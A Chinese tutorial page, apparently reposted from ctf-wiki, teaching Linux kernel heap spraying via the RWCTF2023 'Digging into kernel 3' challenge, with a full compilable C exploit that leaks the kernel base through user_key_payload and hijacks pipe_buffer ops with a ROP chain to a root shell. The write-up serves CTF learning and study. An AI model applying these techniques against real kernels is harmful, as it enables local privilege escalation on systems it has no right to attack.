文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载堆喷射heap spraying是内核堆利用中一类极为重要的辅助攻击手法通过大量分配同种结构体来主动塑造特定的内存布局从而把不可控的堆布局转化为可控的堆布局为后续的 UAF、越界读写等原语服务。本文以 ctf-wiki 内核 Pwn 系列中《Heap Spray》一文为骨架结合仓库内 SLUB 分配器与内核堆利用的系列资料以 RWCTF2023 体验赛Digging into kernel 3为例完整讲解堆喷user_key_payload越界读泄露内核基址 篡改pipe_buffer函数表劫持控制流的两阶段利用链路。读完本文你将掌握堆喷射的适用场景与原理、add_key()/keyctl()密钥子系统的利用姿势、rcu_head-func的内核指针泄露技巧以及基于pipe_buf_operations的 ROP 提权全流程。什么是堆喷射定义与适用场景堆喷射指的是一种辅助攻击手法通过大量分配相同的结构体来达成某种特定的内存布局从而帮助攻击者完成后续的利用过程。它本身并不直接产生漏洞而是将命中目标对象的概率问题转化为必然命中常见于如下场景存在 UAF但无法通过少量内存分配拿到该结构体例如该 object 不属于当前 freelist释放后会回到kmem_cache_node上又例如像add_key()那样攻击者的 object 会一直被卡在第一个临时结构体上。这时可以通过堆喷射来确保拿到该 object。存在堆溢出读/写但堆布局不可知例如开启了SLAB_FREELIST_RANDOM该保护默认开启freelist 中的对象顺序在页面初始化时被打乱无法精确预测分配结果。此时可以预先喷射大量特定结构体从而保证对其中某个结构体的溢出能够命中。作为一种辅助手法堆喷射可以灵活地与 UAF、溢出、double free 等多种漏洞原语组合是内核 pwn 中以量取胜的代表性思想。仓库中同目录的 kernel UAF 利用文档 与 freelist 劫持文档 分别展示了与堆喷射配合最密切的另外两类手法。堆喷射背后的 SLUB 分配器原理要理解堆喷射为何有效必须先厘清 SLUB allocator 的分配路径。仓库中的 内核堆概述 对此有系统讲解这里提炼与堆喷射直接相关的要点一个kmem_cache由两个模块组成kmem_cache_cpupercpu 变量当前 CPU 正在使用的 slub分配时无需加锁与kmem_cache_nodeslub 集散中心管理 partial / full 链表。分配时优先从kmem_cache_cpu上的 freelist 取对象若该 slub 耗尽则从 partial 链表取下新 slub若 partial 也空则向 buddy system 请求新页面划分为多个 object 再分配。释放时按属于 CPU slub / 属于 node partial slub / 原本是 full slub三种情况分别以头插法插入对应 freelist。正是这种当前 CPU 的 freelist 优先的分配模型使得连续大量分配同一大小对象这一喷射行为具有高度可预测性只要把目标对象的大小与喷射对象的大小对齐都落在同一个kmalloc-xx桶中UAF 对象所在位置几乎必然会被后续喷射的同类对象占据。绑核让堆喷射模型简化为单 CPU由于 slub allocator 优先从当前核心的kmem_cache_cpu分配多核环境下进程调度会导致对象可能来自不同的kmem_cache_cpu使利用模型复杂化、降低成功率。因此绑定到特定 CPU 核心是堆喷射类 exploit 的标准前置操作它将模型简化为单个kmem_cache_node 单个kmem_cache_cpu。SLUB 简介 中给出了绑核模板#include sched.h /* to run the exp on the specific core only */ void bind_cpu(int core) { cpu_set_t cpu_set; CPU_ZERO(cpu_set); CPU_SET(core, cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), cpu_set); printf(\033[34m\033[1m[*] Process binded to core \033[0m%d\n, core); }GFP_KERNEL 与 CONFIG_MEMCG_KMEM 的隔离影响堆喷射的对象来自哪个kmem_cache取决于分配时使用的 GFP flag。内核中最常见的GFP_KERNEL与GFP_KERNEL_ACCOUNT的区别在于后者多启用了一个___GFP_ACCOUNT_BIT即使用 MEMCG 机制记录对象分配常规情况下两者的分配都来自通用的kmalloc-xx当内核开启CONFIG_MEMCG_KMEMy通常默认开启时内核会为使用GFP_KERNEL_ACCOUNT分配的对象创建一组独立的kmem_cache——名为kmalloc-cg-*从而导致两种 flag 的对象之间相互隔离若未开启CONFIG_MEMCG_KMEM则GFP_KERNEL与GFP_KERNEL_ACCOUNT等价来自同一个kmalloc-xx。这一点的实战意义在于喷射对象与目标对象必须处于同一个kmem_cache否则堆喷完全无效。本文例题的出题人就手动关闭了CONFIG_MEMCG_KMEM使GFP_KERNEL与GFP_KERNEL_ACCOUNT从同样的kmalloc-xx分配——但正如后文所示即便不关闭该选项同样存在可行的利用路径。例题RWCTF2023 体验赛 - Digging into kernel 3为了介绍堆喷射这一手法同时使用更多不同的结构体原文档笔者采用了比较复杂的思路去解题这也让本文的利用链更具学习价值。题目附件托管在 ctf-wiki 维护的 ctf-challenges 挑战仓库的pwn/linux/kernel-mode/RWCTF2023-digging-into-kernel-3目录下可结合本文自行复现。题目分析启动脚本与开启的防护按惯例查看启动脚本发现开启了 SMEP、SMAP、KASLR、KPTI#!/bin/sh qemu-system-x86_64 \ -m 128M \ -nographic \ -kernel ./bzImage \ -initrd ./rootfs.img \ -enable-kvm \ -cpu kvm64,smap,smep \ -monitor /dev/null \ -append consolettyS0 kaslr kpti1 quiet oopspanic panic1 init/init \ -no-reboot \ -snapshot \ -s-cpu kvm64,smap,smep开启 SMEP 与 SMAP意味着内核态无法直接执行用户态代码、也无法直接访问用户态数据这决定了后续利用必须在内核空间伪造函数表 / 布置 ROP 链。kaslr开启内核基址随机化需要先完成内核基址泄露。kpti1开启 KPTI从内核态返回用户态时需要使用 KPTI trampoline 相关 gadget。oopspanic panic1内核 oops 即 panic任何一次失败的尝试都会直接崩机exploit 必须一次成功或具备可重试性。驱动逆向与漏洞点文件系统里给出了一个rwctf.ko拖入 IDA 分析后发现其只定义了一个 ioctl提供了两个功能反编译界面如上图所示0xDEADBEEF分配一个任意大小的 object 并写入数据分配 flag 为__GFP_ZERO | GFP_KERNEL但我们只能同时持有两个 object。0xC0DECAFE释放一个之前分配的 object存在 UAF——释放后驱动仍保留悬垂指针且__GFP_ZERO只在分配时清零、释放后不会重置指针。需要传入如下结构体struct node { uint32_t idx; uint32_t size; void *buf; };从反编译结果看两个命令都先从用户态copy_from_user一个 16 字节的控制块再根据idx不超过 1对全局buf[]数组中的指针执行kfree或kmalloc 拷贝释放后指针未置空构成典型的 UAF。由于题目直接白给了一个任意大小 无限制次数的 UAF利用方式可以非常多样本文选择结合堆喷射手法来完成一次完整提权。手动关闭的默认保护原文档作者实测发现出题人手动关闭了若干默认开启的保护可能关闭得更多作者仅测试了这几个关闭了CONFIG_MEMCG_KMEM这使得GFP_KERNEL与GFP_KERNEL_ACCOUNT会从同样的kmalloc-xx中进行分配跨 flag 的对象可以互相重叠关闭了CONFIG_RANDOMIZE_KSTACK_OFFSET这使得固定函数调用到内核栈底的偏移值不变栈布局可预测关闭了SLAB_FREELIST_HARDENED这使得 freelist 几乎没有任何保护可以轻易完成任意地址分配 任意地址读写。但在原文档作者看来出题人其实没有必要自降难度——下面给出的利用方法在这三种保护开启时同样可以完成利用。Step.I - 堆喷 user_key_payload 越界读泄露内核基地址add_key() / keyctl()内核密钥子系统在内核当中存在一个用于密钥管理的子系统内核提供add_key()系统调用创建密钥并提供keyctl()系统调用进行密钥的读取、更新、销毁等功能#include sys/types.h #include keyutils.h key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t keyring); //... #include asm/unistd.h #include linux/keyctl.h #include unistd.h long syscall(__NR_keyctl, int operation, __kernel_ulong_t arg2, __kernel_ulong_t arg3, __kernel_ulong_t arg4, __kernel_ulong_t arg5);当我们调用add_key()分配一个带有description字符串的、类型为user的、长度为plen的内容为payload的密钥时内核会经历如下过程首先在内核空间中分配 obj1 与 obj2分配 flag 为GFP_KERNEL用以保存description字符串最大大小为 4096与payload普通数据大小无限制再分配 obj3 保存description分配 obj4 保存payload分配 flag 皆为GFP_KERNEL释放 obj1 与 obj2返回密钥 id。其中 obj4 为一个user_key_payload结构体定义如下struct user_key_payload { struct rcu_head rcu; /* RCU destructor */ unsigned short datalen; /* length of this data */ char data[] __aligned(__alignof__(u64)); /* actual data */ }; //... struct callback_head { struct callback_head *next; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof(void *)))); #define rcu_head callback_head类似于内核消息队列中的msg_msguser_key_payload结构体有一个固定大小的头部其余空间用来存储来自用户空间的数据密钥内容。keyctl()提供了读取、更新分配新对象并释放旧对象、销毁密钥释放 payload的功能其中读取的最大长度由user_key_payload-datalen决定。我们不难想到可以利用题目提供的 UAF 将user_key_payload-datalen改大从而完成越界读。使用时有两点注意事项description字符串需要和payload有着不同的长度从而简化利用模型读取 key 时的 len 应当不小于user_key_payload-datalen否则会读取失败。关键难点临时对象卡位与堆喷破局这里有一个问题add_key()会先分配一个临时的 obj1 拷贝 payload之后再分配一个 obj2 作为user_key_payload。若我们先分配一个 obj 并释放后再调用add_key()则该 obj 不会直接成为user_key_payload而是会在后续的数次分配中都作为拷贝 payload 的临时 obj 存在——这正是UAF 对象无法通过少量分配直接拿到目标结构体的典型场景。但我们可以通过堆喷射将 UAF obj 分配到user_key_payload考虑如下流程利用题目功能构建 UAF object堆喷射user_key_payloadUAF obj 作为拷贝 payload 的临时 obj 存在kmem_cache_cpu的 slub page 耗光向 node 请求新的 slub page 分配user_key_payload完成后 UAF obj 被释放并回到kmem_cache_node继续堆喷user_key_payloadkmem_cache_cpu的 slub page 再次耗光向 node 请求新的 slub page 分配user_key_payloadUAF obj 所在页面被取回UAF obj 被分配为user_key_payload利用题目功能再次释放 UAF obj再利用题目功能进行堆喷获取到该 obj从而覆写user_key_payload的头部。这里的关键在于当 CPU 本地 slub 耗尽并向 node 请求新页面时kmem_cache_node会优先复用 partial 链表上的 slub通过足够多的喷射轮次UAF 对象所在的 slub 页面会重新回到 CPU 的分配路径上最终使 UAF 对象被分配为user_key_payload从而获得一个可覆写头部的 victim key。官方题解中进行地址泄露也是利用类似的做法。原文档作者也指出其实可以直接利用题目分配 obj1 和 obj2 后全部释放之后在 obj2 上制造 UAF这里采用堆喷射的做法正是为了介绍 heap spraying 这一手法。作者在 Step.II 中则会使用更直接的方法。越界读内容rcu_head-func 留下内核函数指针接下来考虑越界读取什么数据。这里并不需要额外分配其他结构体rcu_head-func函数指针在 rcu 对象被释放后才会被写入并调用但调用完之后并不会被置为 NULL。因此可以通过释放密钥的方式在内核堆上留下一个内核函数指针从而完成内核基址的泄露。具体而言在越界读取到 victim key 的数据后EXP 中扫描缓冲区寻找满足buf[i] kernel_base (buf[i] 0xfff) 0x210的指针以USER_FREE_PAYLOAD_RCUuser_key_payload释放时回调的 rcu 函数地址为参照计算kernel_offset进而得到kernel_base。Step.II - UAF 泄露可控堆对象地址篡改 pipe_buffer 劫持控制流可以用来控制内核执行流的结构体有很多但我们需要考虑如何完整地执行commit_creds(prepare_kernel_cred(NULL))后再成功返回用户态因此需要进行栈迁移以布置较为完整的 ROP gadget chain。由于题目开启了 SMEP、SMAP只能在内核空间伪造函数表同时内核中大部分结构体的函数表是静态指定的例如tty-ops总是ptm或pty_unix98_ops因此我们还需要知道一个内容可控的内核对象的地址从而在内核空间中伪造函数表。管道结构体pipe_inode_info 与 pipe_buffer这里选择管道相关的结构体完成利用。在内核中管道本质上是一个虚拟的 inode对应一个pipe_inode_info结构体struct pipe_inode_info { struct mutex mutex; wait_queue_head_t rd_wait, wr_wait; unsigned int head; unsigned int tail; unsigned int max_usage; unsigned int ring_size; #ifdef CONFIG_WATCH_QUEUE bool note_loss; #endif unsigned int nr_accounted; unsigned int readers; unsigned int writers; unsigned int files; unsigned int r_counter; unsigned int w_counter; struct page *tmp_page; struct fasync_struct *fasync_readers; struct fasync_struct *fasync_writers; struct pipe_buffer *bufs; struct user_struct *user; #ifdef CONFIG_WATCH_QUEUE struct watch_queue *watch_queue; #endif };同时内核中会分配一个pipe_buffer结构体数组每个pipe_buffer结构体对应一张用以存储数据的内存页struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };pipe_buf_operations是一张函数表当对管道进行特定操作时内核便会调用该表上对应的函数例如当我们关闭了管道的两端时会触发pipe_buffer-ops-release这一指针由此便能控制内核执行流从而完成提权struct pipe_buf_operations { //... /* * When the contents of this pipe buffer has been completely * consumed by a reader, -release() is called. */ void (*release)(struct pipe_inode_info *, struct pipe_buffer *);利用思路结构体重叠 泄露 bufs 伪造函数表这里可以利用 UAF 使user_key_payload与pipe_inode_info占据同一个 object。pipe_inode_info恰好会将user_key_payload-datalen改为0xFFFF其内部字段覆盖了头部使 datalen 变成大值使得我们能够继续以超大长度读取数据从而读取pipe_inode_info以泄露出pipe_buffer的地址即pipe_inode_info-bufs字段。而pipe_buffer是动态分配的属于kmalloc-1024桶因此我们可以利用题目功能预先分配一个对象作为pipe_buffer并直接在其上伪造函数表在伪造的pipe_buffer数据中将ops字段buf[2]指向pipe_buffer_addr 0x18——即把pipe_buf_operations函数表放在该pipe_buffer对象自身内部保证整个函数表都在内容可控的内核堆上函数表中release指针buf[4]指向一个栈迁移 gadgetPUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET。当关闭管道两端触发release()时rsi恰好指向pipe_buffer对象该 gadget 将栈迁移到伪造的pipe_buffer数据之上栈上紧随其后布置完整的 ROP chainPOP_RDI_RET→prepare_kernel_cred(NULL)→XCHG_RDI_RAX_DEC_STH_RET→commit_creds→SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0x31→ 用户态get_root_shell同时恢复用户态上下文user_cs / user_rflags / user_sp / user_ss。原文档作者表示比较麻烦的是寻找合适的栈迁移 gadget好在最终成功找到了一组合适的 gadget。这提醒我们在实战中ROPgadget / ropper 检索与 IDA 交叉验证是必不可少的步骤。关键构造细节EXP 中的关键常量与布局说明PIPE_INODE_INFO_SZ 192pipe_inode_info结构体大小为 192 字节落于kmalloc-192桶与user_key_payloadpayload 长度取192 - 0x18对齐PIPE_BUFFER_SZ 1024pipe_buffer数组按 1024 大小分配落于kmalloc-1k桶KEY_SPRAY_NUM 40kmalloc-192每个 slub 只有 21 个对象喷射 40 个 key 足以覆盖多个 slub 页面的轮换第二步构造 UAF 时采用0-1分配后先释放 1 再释放 0 的顺序使pipe_key_id key_alloc(...)后释放的 obj1 被 key 分配占用再del(1)保留 UAF随后alloc(0, PIPE_BUFFER_SZ, ...)预分配 pipe_buffer 位置并pipe(pipe_fd)让内核在其后创建真实的pipe_buffer覆写user_key_payload头部时将datalen置为0x2000Step.I以扩大读取范围第二步中key_read(pipe_key_id, buf, 0xffff)正是依赖pipe_inode_info覆盖后的0xFFFFdatalen 完成对结构体内容的越界读取。完整 EXP最终的 exploit 如下完整可编译需要在题目环境中以普通用户身份运行#define _GNU_SOURCE #include sys/types.h #include sys/ioctl.h #include sys/prctl.h #include sys/syscall.h #include sys/mman.h #include sys/wait.h #include stdio.h #include signal.h #include pthread.h #include unistd.h #include stdlib.h #include string.h #include fcntl.h #include ctype.h #include stdint.h /** * Utilities */ size_t kernel_base 0xffffffff81000000, kernel_offset 0; void err_exit(char *msg) { printf(\033[31m\033[1m[x] Error at: \033[0m%s\n, msg); sleep(5); exit(EXIT_FAILURE); } /* root checker and shell poper */ void get_root_shell(void) { if(getuid()) { puts(\033[31m\033[1m[x] Failed to get the root!\033[0m); sleep(5); exit(EXIT_FAILURE); } puts(\033[32m\033[1m[] Successful to get the root. \033[0m); puts(\033[34m\033[1m[*] Execve root shell now...\033[0m); system(/bin/sh); /* to exit the process normally, instead of segmentation fault */ exit(EXIT_SUCCESS); } /* userspace status saver */ size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile(mov user_cs, cs; mov user_ss, ss; mov user_sp, rsp; pushf; pop user_rflags; ); puts(\033[34m\033[1m[*] Status has been saved.\033[0m); } /* bind the process to specific core */ void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(cpu_set); CPU_SET(core, cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), cpu_set); printf(\033[34m\033[1m[*] Process binded to core \033[0m%d\n, core); } /** * Syscall keyctl() operator */ #define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */ #define KEYCTL_UPDATE 2 /* update a key */ #define KEYCTL_REVOKE 3 /* revoke a key */ #define KEYCTL_UNLINK 9 /* unlink a key from a keyring */ #define KEYCTL_READ 11 /* read a key or keyrings contents */ int key_alloc(char *description, void *payload, size_t plen) { return syscall(__NR_add_key, user, description, payload, plen, KEY_SPEC_PROCESS_KEYRING); } int key_update(int keyid, void *payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen); } int key_read(int keyid, void *buffer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen); } int key_revoke(int keyid) { return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0); } int key_unlink(int keyid) { return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING); } /** * Challenge interactiver */ /* kmalloc-192 has only 21 objects on a slub, we dont need to spray to many */ #define KEY_SPRAY_NUM 40 #define PIPE_INODE_INFO_SZ 192 #define PIPE_BUFFER_SZ 1024 #define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210 #define PREPARE_KERNEL_CRED 0xffffffff81096110 #define COMMIT_CREDS 0xffffffff81095c30 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0 #define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d #define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4 #define POP_RDI_RET 0xffffffff8106ab4d #define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70 int dev_fd; struct node { uint32_t idx; uint32_t size; void *buf; }; /** * brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL ) * __GFP_RECLAIM __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM * GFP_KERNEL __GFP_RECLAIM | __GFP_IO | __GFP_FS * * param idx * param size * param buf */ void alloc(uint32_t idx, uint32_t size, void *buf) { struct node n { .idx idx, .size size, .buf buf, }; ioctl(dev_fd, 0xDEADBEEF, n); } void del(uint32_t idx) { struct node n { .idx idx, }; ioctl(dev_fd, 0xC0DECAFE, n); } /** * Exploit stage */ int main(int argc, char **argv, char **envp) { size_t *buf, pipe_buffer_addr; int key_id[KEY_SPRAY_NUM], victim_key_idx -1, pipe_key_id; char desciption[0x100]; int pipe_fd[2]; int retval; /* fundamental works */ bind_core(0); save_status(); buf malloc(sizeof(size_t) * 0x4000); dev_fd open(/dev/rwctf, O_RDONLY); if (dev_fd 0) { err_exit(FAILED to open the /dev/rwctf file!); } /* construct UAF on user_key_payload */ puts([*] construct UAF obj and spray keys...); alloc(0, PIPE_INODE_INFO_SZ, buf); del(0); for (int i 0; i KEY_SPRAY_NUM; i) { snprintf(desciption, 0x100, %s%d, arttnba, i); key_id[i] key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18); if (key_id[i] 0) { printf([x] failed to alloc %d key!\n, i); err_exit(FAILED to add_key()!); } } del(0); /* corrupt user_key_payloads header */ puts([*] corrupting user_key_payload...); buf[0] 0; buf[1] 0; buf[2] 0x2000; for (int i 0; i (KEY_SPRAY_NUM * 2); i) { alloc(0, PIPE_INODE_INFO_SZ, buf); } /* check for oob-read and leak kernel base */ puts([*] try to make an OOB-read...); for (int i 0; i KEY_SPRAY_NUM; i) { if (key_read(key_id[i], buf, 0x4000) PIPE_INODE_INFO_SZ) { printf([] found victim key at idx: %d\n, i); victim_key_idx i; } else { key_revoke(key_id[i]); } } if (victim_key_idx -1) { err_exit(FAILED at corrupt user_key_payload!); } kernel_offset -1; for (int i 0; i 0x2000 / 8; i) { if (buf[i] kernel_base (buf[i] 0xfff) 0x210) { kernel_offset buf[i] - USER_FREE_PAYLOAD_RCU; kernel_base kernel_offset; break; } } if (kernel_offset -1) { err_exit(FAILED to leak kernel addr!); } printf(\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n, kernel_offset); printf(\033[32m\033[1m[] Kernel base: \033[0m0x%lx\n, kernel_base); /* construct UAF on pipe_inode_buffer to leak pipe_buffers addr */ puts([*] construct UAF on pipe_inode_info...); /* 0-1-..., the 1 will be the payload object */ alloc(0, PIPE_INODE_INFO_SZ, buf); alloc(1, PIPE_INODE_INFO_SZ, buf); del(1); del(0); pipe_key_id key_alloc(arttnba3pipe, buf, PIPE_INODE_INFO_SZ - 0x18); del(1); /* this object is for the pipe buffer */ alloc(0, PIPE_BUFFER_SZ, buf); del(0); pipe(pipe_fd); /* note that the user_key_payload-datalen is 0xFFFF now */ retval key_read(pipe_key_id, buf, 0xffff); pipe_buffer_addr buf[16]; /* pipe_inode_info-bufs */ printf(\033[32m\033[1m[] Got pipe_buffer: \033[0m0x%lx\n, pipe_buffer_addr); /* construct fake pipe_buf_operations */ memset(buf, A, sizeof(buf)); buf[0] *(size_t*) arttnba3; buf[1] *(size_t*) arttnba3; buf[2] pipe_buffer_addr 0x18; /* pipe_buffer-ops */ /* after release(), we got back here */ buf[3] kernel_offset POP_RBX_POP_RBP_POP_R12_RET; /* pipe_buf_operations-release */ buf[4] kernel_offset PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET; buf[5] *(size_t*) arttnba3; buf[6] *(size_t*) arttnba3; buf[7] kernel_offset POP_RDI_RET; buf[8] (size_t) NULL; buf[9] kernel_offset PREPARE_KERNEL_CRED; buf[10] kernel_offset XCHG_RDI_RAX_DEC_STH_RET; buf[11] kernel_offset COMMIT_CREDS; buf[12] kernel_offset SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0x31; buf[13] *(size_t*) arttnba3; buf[14] *(size_t*) arttnba3; buf[15] (size_t) get_root_shell; buf[16] user_cs; buf[17] user_rflags; buf[18] user_sp 8; /* system() wants it : ( */ buf[19] user_ss; del(0); alloc(0, PIPE_BUFFER_SZ, buf); /* trigger pipe_buf_operations-release */ puts([*] trigerring pipe_buf_operations-release()...); close(pipe_fd[1]); close(pipe_fd[0]); return 0; }EXP 的执行要点总结绑核与状态保存bind_core(0)固定 CPUsave_status()保存用户态cs/ss/rflags/sp供 ROP 链返回用户态使用Stage 1泄露内核基址构造 192 大小的 UAF → 喷射 40 个user_key_payload→ 让 UAF 对象被分配为 victim key → 覆写datalen 0x2000→ 越界读取扫描(addr 0xfff) 0x210的rcu_head-func指针计算kernel_offsetStage 2提权构造user_key_payload与pipe_inode_info重叠 → 越界读泄露pipe_buffer地址 → 预先分配 1024 大小对象承载pipe_buffer并在其上伪造pipe_buf_operations与 ROP 链 → 关闭管道两端触发release()完成栈迁移与提权最终弹出 root shell。总结与延伸阅读堆喷射的本质是用分配次数换布局确定性在 SLUB 分配模型下同一大小对象共享同一个kmem_cache通过持续喷射可以将 UAF 对象推入目标结构体的分配路径。本文通过 RWCTF2023Digging into kernel 3展示了堆喷射与内核密钥子系统、管道子系统组合的完整利用链其中user_key_payload-datalen越界读、rcu_head-func指针残留、pipe_buf_operations-release劫持都是可复用的通用技巧。若希望进一步深入本仓库中的相关主题建议按以下顺序阅读SLUB 简介GFP_KERNEL/GFP_KERNEL_ACCOUNT与 MEMCG 隔离机制、kmalloc_caches索引计算、slub 合并与隔离等前置知识内核堆概述slub allocator 的分配/释放路径与kmem_cache_cpu/kmem_cache_node结构kernel UAF以 CISCN2017 babydriver 为例的 UAF 基础利用freelist 劫持以 RWCTF2022Digging into kernel 1 2为例的 freelist 任意地址分配手法与堆喷射互为补充。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐CTF-Wiki 内核堆利用堆喷射Heap Spray实战解析——以 RWCTF2023 Digging into kernel 3 为例CTF Wiki 内核堆利用堆喷射Heap Spray实战解析——以 RWCTF2023 Digging into kernel 3 为例 本文是 CTF文档网络安全教程CTF-Wiki 內核 PwnLinux SLUB freelist 劫持與 modprobe_path 提權實戰RWCTF2022 Digging into kernel 全解析CTF Wiki 內核 PwnLinux SLUB freelist 劫持與 modprobe_path 提權實戰RWCTF2022 Digging int文档网络安全教程ctf-wiki 内核 Pwn 实战Linux 内核 UAF 利用与 slub 堆提权——从垂悬指针到 tty_struct 劫持ctf wiki 内核 Pwn 实战Linux 内核 UAF 利用与 slub 堆提权——从垂悬指针到 tty_struct 劫持 本文以 CTF Wiki文档网络安全教程上一篇RESTful设计进阶HTTP方法正确使用终极指南下一篇Polyscope 项目推荐创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考